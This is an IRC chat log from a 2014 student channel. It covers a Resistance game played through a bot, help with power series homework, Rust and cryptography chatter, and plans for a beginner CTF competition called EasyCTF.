[2014-11-23T16:29:30-0500] <&Pidgey> Proposed mission: [awebot, alokpathy, Hcnsh]
[2014-11-23T16:29:33-0500] <alokpathy> !vote no
[2014-11-23T16:29:33-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:29:33-0500] <+Hcnsh> !vote yea
[2014-11-23T16:29:34-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:29:34-0500] <@awe> !vote yea
[2014-11-23T16:29:34-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:29:41-0500] <@LittleBobbyTables> !vote no
[2014-11-23T16:29:41-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:29:41-0500] <awebot> !vote yea
[2014-11-23T16:29:41-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:29:41-0500] <&Pidgey> The mission is now live!
[2014-11-23T16:29:45-0500] <alokpathy> shit
[2014-11-23T16:29:48-0500] <@LittleBobbyTables> inb4 fail
[2014-11-23T16:29:49-0500] <@LittleBobbyTables> :/
[2014-11-23T16:30:00-0500] <@LittleBobbyTables> Why'd you vote yes on that awe?
[2014-11-23T16:30:13-0500] <@awe> LittleBobbyTables: you think I'm a spy?
[2014-11-23T16:30:18-0500] <@awe> LittleBobbyTables: I'm not going to be able to get in on a mission.
[2014-11-23T16:30:35-0500] <@awe> LittleBobbyTables: and this can prove that alokpathy is a spy.
[2014-11-23T16:30:47-0500] <@LittleBobbyTables> But if you were a rebel, you would know for a fact that it would fail.
[2014-11-23T16:30:51-0500] <@awe> alokpathy: Hcnsh 
[2014-11-23T16:31:06-0500] <alokpathy> awebot and Hcnsh are likely the spies
[2014-11-23T16:31:13-0500] <+Hcnsh> u
[2014-11-23T16:31:37-0500] <alokpathy> Who didn't vote on the mission?
[2014-11-23T16:31:42-0500] <@awe> Hcnsh: vote on the mission
[2014-11-23T16:31:42-0500] <alokpathy> Hcnsh: Did you vote?
[2014-11-23T16:31:43-0500] <+Hcnsh> how to even vote?
[2014-11-23T16:31:49-0500] <+Hcnsh> lol
[2014-11-23T16:31:50-0500] <@awe> PM Pidgey !vote #pdgn yea/nay
[2014-11-23T16:31:59-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 2 / 4). The new leader is awe. The next mission requires 0 participants.
[2014-11-23T16:32:04-0500] <+Hcnsh> welp
[2014-11-23T16:32:05-0500] <+Hcnsh> so alok
[2014-11-23T16:32:06-0500] <@LittleBobbyTables> lmao
[2014-11-23T16:32:09-0500] <@awe> alokpathy: is a spy
[2014-11-23T16:32:11-0500] <alokpathy> No, I'm not a spy
[2014-11-23T16:32:15-0500] <@LittleBobbyTables> "next mission requires 0 participants"
[2014-11-23T16:32:18-0500] <@awe> !propose awebot Hcnsh
[2014-11-23T16:32:18-0500] <&Pidgey> Mission 5 should have 3 members.
[2014-11-23T16:32:23-0500] <alokpathy> awe: You're making me suspect you now
[2014-11-23T16:32:24-0500] <@awe> !propose awebot Hcnsh LittleBobbyTables
[2014-11-23T16:32:24-0500] <&Pidgey> Proposed mission: [awebot, Hcnsh, LittleBobbyTables]
[2014-11-23T16:32:26-0500] <@awe> !vote yea
[2014-11-23T16:32:26-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:32:27-0500] <alokpathy> !vote nay
[2014-11-23T16:32:27-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:32:28-0500] <+Hcnsh> !vote yea
[2014-11-23T16:32:28-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:32:32-0500] <awebot> !vote yea
[2014-11-23T16:32:32-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:32:38-0500] <@LittleBobbyTables> That might fail:/ but it's passing anyway
[2014-11-23T16:32:43-0500] <@LittleBobbyTables> !vote yuuselessvote
[2014-11-23T16:32:43-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:32:43-0500] <&Pidgey> The mission is now live!
[2014-11-23T16:32:45-0500] <alokpathy> It's going to fail
[2014-11-23T16:32:48-0500] <alokpathy> 100%
[2014-11-23T16:32:50-0500] <alokpathy> I'm not a spy
[2014-11-23T16:32:58-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 2 / 5). The new leader is alokpathy. The next mission requires 3 participants.
[2014-11-23T16:32:58-0500] <&Pidgey> Game over: Spies win!
[2014-11-23T16:33:00-0500] <@awe> Woo.
[2014-11-23T16:33:03-0500] <+Hcnsh> wat
[2014-11-23T16:33:04-0500] <alokpathy> awe: screw you
[2014-11-23T16:33:04-0500] <@awe> Nice work, awebot.
[2014-11-23T16:33:06-0500] <+Hcnsh> awebot
[2014-11-23T16:33:06-0500] <+Hcnsh> gtfo
[2014-11-23T16:33:10-0500] <alokpathy> dafuq awebot
[2014-11-23T16:33:11-0500] <awebot> Woo!
[2014-11-23T16:33:14-0500] <@LittleBobbyTables> Told you so.
[2014-11-23T16:33:18-0500] <+Hcnsh> yea
[2014-11-23T16:33:18-0500] <@awe> xD
[2014-11-23T16:33:21-0500] <+Hcnsh> awe
[2014-11-23T16:33:22-0500] <+Hcnsh> u hoe
[2014-11-23T16:33:22-0500] <@awe> #shrekt
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[2014-11-23T16:33:27-0500] <@awe> Fuck.
[2014-11-23T16:33:28-0500] <@LittleBobbyTables> hcnsh, you're the dumb one pls
[2014-11-23T16:33:32-0500] <@awe> Oh, I know why that one crashed.
[2014-11-23T16:33:44-0500] <@LittleBobbyTables> You voted him in each time :/. Even after we told you it would fail
[2014-11-23T16:33:50-0500] <+Hcnsh> lol
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[2014-11-23T16:34:33-0500] <@awe> #shrekt
[2014-11-23T16:34:35-0500] <@awe> Yeah, there we go.
[2014-11-23T16:34:45-0500] <alokpathy> Another game?
[2014-11-23T16:34:47-0500] <@awe> alokpathy: didn't suspect awebot.
[2014-11-23T16:34:50-0500] <@awe> he suspected me.
[2014-11-23T16:35:05-0500] <+Hcnsh> you two are the same
[2014-11-23T16:35:05-0500] <+Hcnsh> so plis
[2014-11-23T16:35:07-0500] <@awe> Nope.
[2014-11-23T16:35:12-0500] <@awe> awebot and I are separate beings.
[2014-11-23T16:35:14-0500] <alokpathy> I suspected awebot until you kept throwing me under the bus
[2014-11-23T16:35:16-0500] <@awe> Isn't that right, awebot?
[2014-11-23T16:35:17-0500] <+Hcnsh> !resistance
[2014-11-23T16:35:17-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-23T16:35:20-0500] <alokpathy> !join
[2014-11-23T16:35:23-0500] <awebot> Yeah!
[2014-11-23T16:35:31-0500] <@awe> I've got to do math homework.
[2014-11-23T16:35:32-0500] <+Hcnsh> awe trying to pin a rebel as a rebel when he knew rebel was a rebel
[2014-11-23T16:35:34-0500] <@LittleBobbyTables> What irc bot DOESN'T allow people to talk through it?
[2014-11-23T16:35:35-0500] <+Hcnsh> sounds like a spy at heart
[2014-11-23T16:35:46-0500] <@awe> LittleBobbyTables: awebot.
[2014-11-23T16:35:46-0500] <+Hcnsh> !join
[2014-11-23T16:35:46-0500] <&Pidgey> You've already joined this game!
[2014-11-23T16:35:48-0500] <@awe> LittleBobbyTables: He's sentient.
[2014-11-23T16:35:50-0500] <@awe> LittleBobbyTables: I'm telling you.
[2014-11-23T16:36:16-0500] <@awe> LittleBobbyTables: Also, I can't speak through Pidgey either.
[2014-11-23T16:36:31-0500] <@LittleBobbyTables> I wouldn't really count Pidgey as a bot, though.
[2014-11-23T16:37:16-0500] <@awe> Why not?
[2014-11-23T16:37:29-0500] <@awe> He's written using the same library as awebot.
[2014-11-23T16:40:41-0500] <+Hcnsh> so..
[2014-11-23T16:40:43-0500] <+Hcnsh> resistance, anyone?
[2014-11-23T16:40:53-0500] <+Hcnsh> and enough people so awe doesn't play twice?
[2014-11-23T16:41:09-0500] <alokpathy> Doubtful
[2014-11-23T16:41:15-0500] <alokpathy> I have Lang work and college apps too.
[2014-11-23T16:41:33-0500] <@awe> Hcnsh: Yeah, I agree. I shouldn't play twice.
[2014-11-23T16:42:58-0500] <@awe> Is it just me or is finding the power series of an equation not fun?
[2014-11-23T16:43:13-0500] <@awe>  /s/power series/power series representation
[2014-11-23T16:46:57-0500] <+Hcnsh> awe
[2014-11-23T16:47:04-0500] <+Hcnsh> have you seen the pic
[2014-11-23T16:47:06-0500] <+Hcnsh> of my chem teacher?
[2014-11-23T16:47:27-0500] <@awe> No.
[2014-11-23T16:47:30-0500] <+Hcnsh> http://imgur.com/JzHfvFF
[2014-11-23T16:48:31-0500] <@awe> lol.
[2014-11-23T16:48:35-0500] <@awe> This is great.
[2014-11-23T16:49:19-0500] <alokpathy> LOL
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[2014-11-23T16:55:45-0500] <@awe> tester: hi
[2014-11-23T16:56:23-0500] <tester> I'm jacob
[2014-11-23T16:56:28-0500] <tester> testing an kiwiirc
[2014-11-23T16:56:29-0500] <tester> bye
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[2014-11-23T16:56:39-0500] <alokpathy> wat
[2014-11-23T16:56:41-0500] <alokpathy> okay
[2014-11-23T16:59:15-0500] <@awe> oh okay.
[2014-11-23T17:04:03-0500] <+Tamini> darn
[2014-11-23T17:04:07-0500] <+Tamini> latin is extremely nontrivial
[2014-11-23T17:05:36-0500] <JacobEdelman> so
[2014-11-23T17:05:40-0500] <@LittleBobbyTables> You're nontrivial
[2014-11-23T17:05:46-0500] <alokpathy> pewpewshotsfired
[2014-11-23T17:05:48-0500] <JacobEdelman> easyctf will probaly have an irc channell on pdgn
[2014-11-23T17:05:54-0500] <JacobEdelman> and its happning ina  few days
[2014-11-23T17:05:56-0500] <+Hcnsh> isn't that a compliment...?
[2014-11-23T17:06:00-0500] <JacobEdelman> so yall gotta be on your best behavior
[2014-11-23T17:06:07-0500] <+Hcnsh> wtf's easyctf?
[2014-11-23T17:06:08-0500] <+Hcnsh> link?
[2014-11-23T17:06:21-0500] <@LittleBobbyTables> Wow, Jacob.
[2014-11-23T17:06:23-0500] <@LittleBobbyTables> I'm offended.
[2014-11-23T17:06:30-0500] <@LittleBobbyTables> That implies that my behavior isn't already good enough.
[2014-11-23T17:06:35-0500] <JacobEdelman> (that means you alokpathy)
[2014-11-23T17:06:42-0500] <JacobEdelman>  ( :P )
[2014-11-23T17:06:47-0500] <+Tamini> wait actually
[2014-11-23T17:06:52-0500] <+Tamini> they want to pdgn
[2014-11-23T17:06:57-0500] <+Tamini> is michael even on here ever
[2014-11-23T17:07:04-0500] <alokpathy> wat
[2014-11-23T17:07:23-0500] <@LittleBobbyTables> Ha, apothy
[2014-11-23T17:07:28-0500] <@LittleBobbyTables> your behavior isn't good enough
[2014-11-23T17:07:31-0500] <@awe> https://www.dropbox.com/s/gmrei61r4sep0gd/Screenshot%202014-11-23%2017.07.29.png?dl=0
[2014-11-23T17:07:31-0500] <@awe> Okay.
[2014-11-23T17:07:34-0500] <@awe> I'm definitely not wrong here.
[2014-11-23T17:07:38-0500] <@LittleBobbyTables> You're wrong.
[2014-11-23T17:07:46-0500] <@awe> I could be.
[2014-11-23T17:07:47-0500] <@awe> It says I am.
[2014-11-23T17:07:49-0500] <@awe> What am I doing wrong:
[2014-11-23T17:07:50-0500] <@awe> ?
[2014-11-23T17:08:07-0500] <+Hcnsh> does easyctf have any prizes?
[2014-11-23T17:08:11-0500] <alokpathy> Hcnsh: TBA
[2014-11-23T17:08:12-0500] <+Hcnsh> or can i just play it in a relaxed manner?
[2014-11-23T17:08:20-0500] <@LittleBobbyTables> Hcnsh: play to play, not for prizes.
[2014-11-23T17:08:33-0500] <+Hcnsh> plis, if there are prizes, i won't solo
[2014-11-23T17:08:43-0500] <+Hcnsh> otherwise might as well solo
[2014-11-23T17:08:51-0500] <@LittleBobbyTables> plis, play to play anyway.
[2014-11-23T17:10:01-0500] <@awe> Tamini: help me with math
[2014-11-23T17:12:16-0500] <+Tamini> ?
[2014-11-23T17:12:42-0500] <@awe> https://www.dropbox.com/s/gmrei61r4sep0gd/Screenshot%202014-11-23%2017.07.29.png?dl=0
[2014-11-23T17:12:45-0500] <@awe> What's wrong with these answers?
[2014-11-23T17:13:36-0500] <+Tamini> well the first one
[2014-11-23T17:14:11-0500] <+Tamini> your indexing is off
[2014-11-23T17:14:42-0500] <@awe> Tamini: the indexing of what?
[2014-11-23T17:14:47-0500] <+Tamini> its usually (-1)^(n-1) x^n/n
[2014-11-23T17:15:00-0500] <+Tamini> you start at 1 not 0
[2014-11-23T17:15:02-0500] <@awe> Oh.
[2014-11-23T17:15:14-0500] <@awe> Yeah, that worked.
[2014-11-23T17:15:20-0500] <@awe> >.>
[2014-11-23T17:15:29-0500] <+Tamini> :P
[2014-11-23T17:15:35-0500] <+Tamini> from that the others should be ez
[2014-11-23T17:16:08-0500] <nezorg> awe: is there a syntax in rust for slicing mutably?
[2014-11-23T17:16:13-0500] <nezorg> (other than .mut_slice)
[2014-11-23T17:16:20-0500] <nezorg> (err, .slice_mut)
[2014-11-23T17:16:34-0500] <@awe> Pretty sure mut thing[]
[2014-11-23T17:16:46-0500] <@awe> or just using thing[] mutably.
[2014-11-23T17:17:39-0500] <nezorg> ah, it’s thing[mut]
[2014-11-23T17:18:12-0500] <@awe> really?
[2014-11-23T17:18:15-0500] <@awe> o.o
[2014-11-23T17:18:15-0500] <@awe> weird.
[2014-11-23T17:19:21-0500] <@awe> Tamini: I seriously hate this
[2014-11-23T17:19:31-0500] <@awe> Tamini: it's not even remotely interesting.
[2014-11-23T17:21:08-0500] <nezorg> what isn’t?
[2014-11-23T17:21:40-0500] <@awe> power series representations of functions
[2014-11-23T17:21:53-0500] <@awe> Tamini: how is the third one not x^2n/2n
[2014-11-23T17:21:57-0500] <@awe> Tamini: I don't understand.
[2014-11-23T17:22:14-0500] <nezorg> oh, I think they’re really cool
[2014-11-23T17:22:17-0500] <+Tamini> uh let me change first
[2014-11-23T17:22:20-0500] <+Tamini> also lol
[2014-11-23T17:22:27-0500] <+Tamini> power series are the bane of my existence
[2014-11-23T17:22:29-0500] <@awe> nezorg: I think they're cool as an idea, but finding them is boring.
[2014-11-23T17:22:41-0500] <nezorg> awe: maybe a bit
[2014-11-23T17:22:53-0500] <@awe> It doesn't involve some interesting intuitive leap.
[2014-11-23T17:22:58-0500] <@awe> It doesn't involve working things out like a puzzle.
[2014-11-23T17:23:18-0500] <@awe> nezorg: https://www.dropbox.com/s/gmrei61r4sep0gd/Screenshot%202014-11-23%2017.07.29.png?dl=0
[2014-11-23T17:23:29-0500] <@awe> nezorg: how is the third one not x^2n/2n
[2014-11-23T17:24:27-0500] <nezorg> first of all, where did the (-1)^n go
[2014-11-23T17:24:37-0500] <nezorg> second of all, why is the bottom 2n
[2014-11-23T17:24:45-0500] <@awe> (-1)^2n = 1
[2014-11-23T17:24:53-0500] <nezorg> why are you only doing 2n
[2014-11-23T17:25:00-0500] <nezorg> you’re literally just plugging in x^2 for x
[2014-11-23T17:25:04-0500] <nezorg> I mean
[2014-11-23T17:25:06-0500] <nezorg> you should be
[2014-11-23T17:25:07-0500] <nezorg> but you’re not
[2014-11-23T17:25:47-0500] <@awe> Wait, so, using the first one
[2014-11-23T17:25:53-0500] <@awe> I can literally just plugin what the difference is?
[2014-11-23T17:25:57-0500] <+Tamini> yea
[2014-11-23T17:25:59-0500] <@awe> Sigh, our math department is shit.
[2014-11-23T17:26:02-0500] <+Tamini> substitute x^2 for x
[2014-11-23T17:26:03-0500] <+Tamini> lol
[2014-11-23T17:26:07-0500] <+Tamini> most math departments are
[2014-11-23T17:26:23-0500] <@awe> We don't learn anything.
[2014-11-23T17:26:28-0500] <@awe> We've had three classes on this so far.
[2014-11-23T17:26:36-0500] <@awe> Each class it's just been going over the same four fucking problems
[2014-11-23T17:26:52-0500] <@awe> representing: 1/1+x as a power series, 1/2+x as a power series, 1/1+x^2 as a power series
[2014-11-23T17:26:53-0500] <@awe> etc.
[2014-11-23T17:27:18-0500] <@awe> For the record, what I was doing was trying to integrate 1/(1+x^2) as a power series because I already had that as the infinite sum of x^2n
[2014-11-23T17:30:02-0500] <+Tamini> ohh
[2014-11-23T17:30:44-0500] <nezorg> …wow, this file is 500 lines long?
[2014-11-23T17:30:57-0500] <nezorg> …oh, ~250 of it is just constants xP
[2014-11-23T17:32:42-0500] <@awe> uhh, if I have something in terms of n=0
[2014-11-23T17:32:50-0500] <@awe> I just subtract one from all the ns to get it in n=1
[2014-11-23T17:32:51-0500] <@awe> right?
[2014-11-23T17:34:35-0500] <nezorg> if it’s an infinite sum, sounds right
[2014-11-23T17:34:41-0500] <@awe> yeah, infinite sum
[2014-11-23T17:37:47-0500] <nezorg> cool, I just updated crusty-crypto to latest rust and it still works! :3
[2014-11-23T17:37:58-0500] <nezorg> (with my fairly small test base, but still)
[2014-11-23T17:40:15-0500] <@awe> Why do they randomly change the starting index on my stupid thing?
[2014-11-23T17:40:23-0500] <@awe> some questions are n=1, some n=2, some n=0.
[2014-11-23T17:40:26-0500] <@awe> Why can't you just be consistent?
[2014-11-23T17:51:16-0500] <nezorg> awe: https://github.com/jmgrosen/crusty-crypto
[2014-11-23T17:51:17-0500] <nezorg> :P
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[2014-11-23T17:52:18-0500] <nezorg> oops, didn’t mean to commit md5.rs
[2014-11-23T17:52:19-0500] <nezorg> whoops
[2014-11-23T17:54:58-0500] <nezorg> also, should probably add a license
[2014-11-23T17:55:07-0500] <nezorg> (and maybe docs…)
[2014-11-23T17:56:03-0500] <+Tamini> wait whoa
[2014-11-23T17:56:06-0500] <+Tamini> crypto
[2014-11-23T17:56:09-0500] <+Tamini> :P
[2014-11-23T17:56:40-0500] <nezorg> I still find it amazing how simple rsa’s core is
[2014-11-23T17:56:47-0500] <nezorg> and how complex it is to actually use it O_O
[2014-11-23T17:56:58-0500] <nezorg> (use it correctly, that is)
[2014-11-23T17:57:08-0500] <+Tamini> yeah damn
[2014-11-23T17:57:13-0500] <+Tamini> fundamentally its just
[2014-11-23T17:57:21-0500] <+Tamini> euler-fermat and chinese remainder
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[2014-11-23T17:57:23-0500] <+Tamini> ezpz
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[2014-11-23T17:57:28-0500] <+Tamini> except not actually
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[2014-11-23T17:59:26-0500] <alokpathy> Hello failedxyz 
[2014-11-23T17:59:31-0500] <alokpathy> Welcome to our sanctuary 
[2014-11-23T17:59:31-0500] <failedxyz> hei
[2014-11-23T17:59:38-0500] <JacobEdelman> failedxyz= person running easyctf.com
[2014-11-23T17:59:47-0500] <JacobEdelman> =Michael zhang
[2014-11-23T17:59:47-0500] <alokpathy> alokpathy = kullalok
[2014-11-23T18:00:28-0500] <nezorg> nezorg = nezorg
[2014-11-23T18:00:49-0500] <nezorg> I think
[2014-11-23T18:01:05-0500] <failedxyz> i see
[2014-11-23T18:01:17-0500] <nezorg> I guess there’s no way to actually verify our respective identities
[2014-11-23T18:01:22-0500] <nezorg> I don’t have a well-known public key
[2014-11-23T18:01:33-0500] <nezorg> (that should probably change)
[2014-11-23T18:01:42-0500] <JacobEdelman> LBT: how'd you get op'd this time
[2014-11-23T18:01:45-0500] <+Hcnsh> who's involved in easyctf?
[2014-11-23T18:01:52-0500] <nezorg> but nobody actually uses pgp :’(
[2014-11-23T18:01:54-0500] <+Hcnsh> say "mee"
[2014-11-23T18:02:16-0500] <failedxyz> hi Hcnsh
[2014-11-23T18:02:25-0500] <+Hcnsh> you?
[2014-11-23T18:02:25-0500] <+Hcnsh> ok
[2014-11-23T18:02:30-0500] <+Hcnsh> so does each person
[2014-11-23T18:02:31-0500] <+Hcnsh> get an acc?
[2014-11-23T18:02:35-0500] <failedxyz> nah
[2014-11-23T18:02:36-0500] <+Hcnsh> or share team acc?
[2014-11-23T18:02:37-0500] <failedxyz> 1 acc per team
[2014-11-23T18:02:40-0500] <JacobEdelman> !resistance
[2014-11-23T18:02:41-0500] <failedxyz> it's much easier that way
[2014-11-23T18:02:45-0500] <+Hcnsh> how will you enforce 5-person-per-team limit?
[2014-11-23T18:02:48-0500] <JacobEdelman> ....hmmm that isn't working right now
[2014-11-23T18:03:11-0500] <failedxyz> well
[2014-11-23T18:03:15-0500] <failedxyz> i can't but then again
[2014-11-23T18:03:18-0500] <failedxyz> how can pico
[2014-11-23T18:03:21-0500] <+Hcnsh> lol
[2014-11-23T18:03:22-0500] <failedxyz> how can any other ctf
[2014-11-23T18:03:25-0500] <JacobEdelman> .resistance
[2014-11-23T18:03:26-0500] <failedxyz> if it's online
[2014-11-23T18:03:32-0500] <JacobEdelman> ahh, still not working
[2014-11-23T18:03:57-0500] <alokpathy> !resistance
[2014-11-23T18:04:00-0500] <nezorg> I guess 1064cbread better register
[2014-11-23T18:04:03-0500] <alokpathy> !drop
[2014-11-23T18:04:04-0500] <failedxyz> lol
[2014-11-23T18:04:10-0500] <+Tamini> oh hey michael
[2014-11-23T18:04:10-0500] <failedxyz> !help
[2014-11-23T18:04:14-0500] <failedxyz> hi Tamini
[2014-11-23T18:04:17-0500] <+Tamini> nezorg you should totally
[2014-11-23T18:04:22-0500] <+Tamini> do this with me instead :P
[2014-11-23T18:04:41-0500] <nezorg> failedxyz: how’s difficulty compared to pico 2014?
[2014-11-23T18:04:49-0500] <failedxyz> waaaayyyy easier lol
[2014-11-23T18:04:57-0500] <nezorg> awwww :’(
[2014-11-23T18:05:03-0500] <+Tamini> how are prizes failedxyz
[2014-11-23T18:05:04-0500] <+Tamini> :P
[2014-11-23T18:05:09-0500] <failedxyz> idek
[2014-11-23T18:05:12-0500] <failedxyz> i contacted a bunch of people
[2014-11-23T18:05:14-0500] <failedxyz> still no response
[2014-11-23T18:05:14-0500] <+Tamini> pls gib moneyz
[2014-11-23T18:05:14-0500] <failedxyz> gg
[2014-11-23T18:05:20-0500] <failedxyz> i'm gonna ask my school
[2014-11-23T18:05:30-0500] <+Tamini> mk
[2014-11-23T18:05:31-0500] <failedxyz> to spare like a few hundred dollars
[2014-11-23T18:05:33-0500] <+Tamini> when is it exacrly
[2014-11-23T18:05:33-0500] <+Hcnsh> failedxyz, example question (without binary to exploit or anything)?
[2014-11-23T18:05:42-0500] <+Tamini> how long do i have to coerce nezorg to become tjhsst
[2014-11-23T18:05:54-0500] <+Hcnsh> describe* an example question
[2014-11-23T18:06:29-0500] <failedxyz> well i made this really for people who are really new
[2014-11-23T18:06:35-0500] <+Hcnsh> gib example anyways
[2014-11-23T18:06:36-0500] <failedxyz> so there are lots of problems that introduce programming
[2014-11-23T18:06:45-0500] <+Hcnsh> wait, any binary exploits?
[2014-11-23T18:06:49-0500] <+Tamini> wait so do you not want people to like
[2014-11-23T18:06:50-0500] <failedxyz> yeah
[2014-11-23T18:06:50-0500] <failedxyz> def
[2014-11-23T18:06:52-0500] <failedxyz> :)
[2014-11-23T18:06:52-0500] <+Hcnsh> k
[2014-11-23T18:06:54-0500] <+Tamini> go in and finish in one day
[2014-11-23T18:07:11-0500] <+Hcnsh> is it possible to finish in a day?
[2014-11-23T18:07:18-0500] <+Hcnsh> if you're noob but not very noob?
[2014-11-23T18:07:26-0500] <failedxyz> maybe
[2014-11-23T18:07:29-0500] <nezorg> “Cutie Mark Crusaders	Thomas Jefferson High School for Science and Technology” lol
[2014-11-23T18:07:37-0500] <+Tamini> thats the
[2014-11-23T18:07:41-0500] <+Tamini> tjhs in philly
[2014-11-23T18:07:51-0500] <nezorg> still
[2014-11-23T18:07:58-0500] <+Tamini> we need to make breadfish happen pls
[2014-11-23T18:07:59-0500] <+Tamini> T-T
[2014-11-23T18:08:24-0500] <failedxyz> LOL
[2014-11-23T18:08:27-0500] <failedxyz> breadfish
[2014-11-23T18:08:31-0500] <nezorg> sorta want to solo it though
[2014-11-23T18:08:39-0500] <+Tamini> but darn
[2014-11-23T18:08:45-0500] <+Tamini> but duoing is also fun
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[2014-11-23T18:10:02-0500] <nezorg> unitedjaymo: ?
[2014-11-23T18:10:03-0500] <+Tamini> eyyojaymo
[2014-11-23T18:10:23-0500] <+Tamini> sup kid
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[2014-11-23T18:10:45-0500] <+Tamini> darn
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[2014-11-23T18:11:04-0500] <+Tamini> yo kid
[2014-11-23T18:11:07-0500] <+Tamini> y u no pumac
[2014-11-23T18:11:52-0500] <unitedjaymo> hey there
[2014-11-23T18:11:54-0500] <nezorg> am I crazy for trying to read this http://www.ietf.org/rfc/rfc5246.txt
[2014-11-23T18:12:00-0500] <unitedjaymo> tamini remmeber me
[2014-11-23T18:12:10-0500] <unitedjaymo> oh ho ho this irc 2 #STACKED
[2014-11-23T18:12:19-0500] <+Tamini> lolol
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[2014-11-23T18:12:29-0500] <+Tamini> nezorg: youre crazy in general
[2014-11-23T18:12:34-0500] <nezorg> Tamini: true
[2014-11-23T18:12:34-0500] <failedxyz> hei unitedjaymo
[2014-11-23T18:12:43-0500] <unitedjaymo> hey
[2014-11-23T18:12:46-0500] <alokpathy> unitedjaymo: ohi
[2014-11-23T18:12:48-0500] <alokpathy> you made it
[2014-11-23T18:12:51-0500] <failedxyz> lol
[2014-11-23T18:12:52-0500] <JacobEdelman> jay mo is here
[2014-11-23T18:12:53-0500] <unitedjaymo> LOL
[2014-11-23T18:13:07-0500] <alokpathy> Welcome to our sanctuary
[2014-11-23T18:13:07-0500] <JacobEdelman> jay mo, meet #pdgn
[2014-11-23T18:13:13-0500] <JacobEdelman> #pdgn meet jay mo
[2014-11-23T18:13:15-0500] <failedxyz> lol
[2014-11-23T18:13:17-0500] <failedxyz> haha
[2014-11-23T18:13:17-0500] <JacobEdelman> jay mo is best know
[2014-11-23T18:13:23-0500] <JacobEdelman> for not buying
[2014-11-23T18:13:27-0500] <JacobEdelman> jay.moy
[2014-11-23T18:13:31-0500] <JacobEdelman> *jay.mo
[2014-11-23T18:13:34-0500] <JacobEdelman> cause hes a cheap skate
[2014-11-23T18:13:38-0500] <JacobEdelman> hes also known
[2014-11-23T18:13:47-0500] <JacobEdelman> for spending his entire life at hackathons
[2014-11-23T18:13:56-0500] <JacobEdelman> his parents havn't seen him since he was 4
[2014-11-23T18:13:57-0500] <unitedjaymo> "life"
[2014-11-23T18:14:00-0500] <JacobEdelman> when he left 
[2014-11-23T18:14:03-0500] <JacobEdelman> to attend
[2014-11-23T18:14:04-0500] <failedxyz> gg
[2014-11-23T18:14:07-0500] <nezorg> nez.org is expensive too :’(
[2014-11-23T18:14:10-0500] <JacobEdelman> pennapps I
[2014-11-23T18:14:21-0500] <JacobEdelman> now he just spends his time
[2014-11-23T18:14:28-0500] <JacobEdelman> going from hackathon to hackathon
[2014-11-23T18:14:33-0500] <JacobEdelman> never staying for long
[2014-11-23T18:14:49-0500] <JacobEdelman> always moving
[2014-11-23T18:14:51-0500] <JacobEdelman> always hacking
[2014-11-23T18:14:54-0500] <failedxyz> lol
[2014-11-23T18:14:55-0500] <JacobEdelman> and such is the tale of mo
[2014-11-23T18:15:05-0500] • JacobEdelman: drops the mic and walks away
[2014-11-23T18:15:10-0500] <alokpathy> lolwut
[2014-11-23T18:15:15-0500] <failedxyz> i see
[2014-11-23T18:15:33-0500] <+Tamini> unitedjaymo:
[2014-11-23T18:15:37-0500] <unitedjaymo> but yes my name is actually Jay Mo
[2014-11-23T18:15:37-0500] <+Tamini> why didnt you pumac?
[2014-11-23T18:15:41-0500] <+Tamini>  i saw katz and stff
[2014-11-23T18:16:04-0500] <unitedjaymo> I'm not that mathematically dedicated
[2014-11-23T18:16:11-0500] <unitedjaymo> + not good
[2014-11-23T18:16:12-0500] • failedxyz: applauds JacobEdelman's amazing intro
[2014-11-23T18:16:14-0500] <+Tamini> pls
[2014-11-23T18:16:24-0500] <+Tamini> youre a freshman
[2014-11-23T18:16:31-0500] <unitedjaymo> wtf how do you knwo that
[2014-11-23T18:16:48-0500] <unitedjaymo> oh wait shit
[2014-11-23T18:16:51-0500] <unitedjaymo> you're ashley
[2014-11-23T18:17:15-0500] <alokpathy> LOL
[2014-11-23T18:17:18-0500] <+Tamini> LOL OH
[2014-11-23T18:17:26-0500] <+Tamini> DID YOU NOT MAKE THAT CONNECTION UNTIL NOW
[2014-11-23T18:17:33-0500] <+Tamini> goddammit jaymo what are you
[2014-11-23T18:17:33-0500] <unitedjaymo> oh hai
[2014-11-23T18:17:36-0500] <unitedjaymo> sorry
[2014-11-23T18:17:48-0500] <+Tamini> i am so
[2014-11-23T18:17:50-0500] <+Tamini> done wth you
[2014-11-23T18:17:59-0500] <unitedjaymo> bruh sorry but I'm not a math problem
[2014-11-23T18:18:03-0500] <unitedjaymo> you can't just say that you're done
[2014-11-23T18:18:05-0500] <unitedjaymo> :ooooooooooo
[2014-11-23T18:18:48-0500] <+Tamini> bruh
[2014-11-23T18:19:08-0500] <+Tamini> your name is literally
[2014-11-23T18:19:11-0500] <+Tamini> usajmo
[2014-11-23T18:19:18-0500] <failedxyz> LOL
[2014-11-23T18:19:18-0500] <alokpathy> omg
[2014-11-23T18:19:20-0500] <+Tamini> you cant not be op at math
[2014-11-23T18:19:20-0500] <alokpathy> LOL
[2014-11-23T18:19:22-0500] <+Tamini> its illegal
[2014-11-23T18:19:26-0500] <unitedjaymo> LOL
[2014-11-23T18:19:49-0500] <failedxyz> united(statesofamerica)j(ay)mo
[2014-11-23T18:19:59-0500] <unitedjaymo> LOL
[2014-11-23T18:20:11-0500] <JacobEdelman> Tamini: you there?
[2014-11-23T18:21:10-0500] <failedxyz> shit
[2014-11-23T18:21:13-0500] <failedxyz> i can't even make AIME
[2014-11-23T18:21:13-0500] <+Tamini> ugh
[2014-11-23T18:21:17-0500] <+Tamini> it doesnt wnana connect
[2014-11-23T18:21:20-0500] <unitedjaymo> LOL
[2014-11-23T18:21:21-0500] <+Tamini> sup JacobEdelman
[2014-11-23T18:21:28-0500] <unitedjaymo> i can't make AIME either laughs
[2014-11-23T18:21:34-0500] <+Tamini> jmo
[2014-11-23T18:21:35-0500] <failedxyz> i took both AMCs last year
[2014-11-23T18:21:36-0500] <+Tamini> relink bv
[2014-11-23T18:21:39-0500] <@awe> Ohai, unitedjaymo.
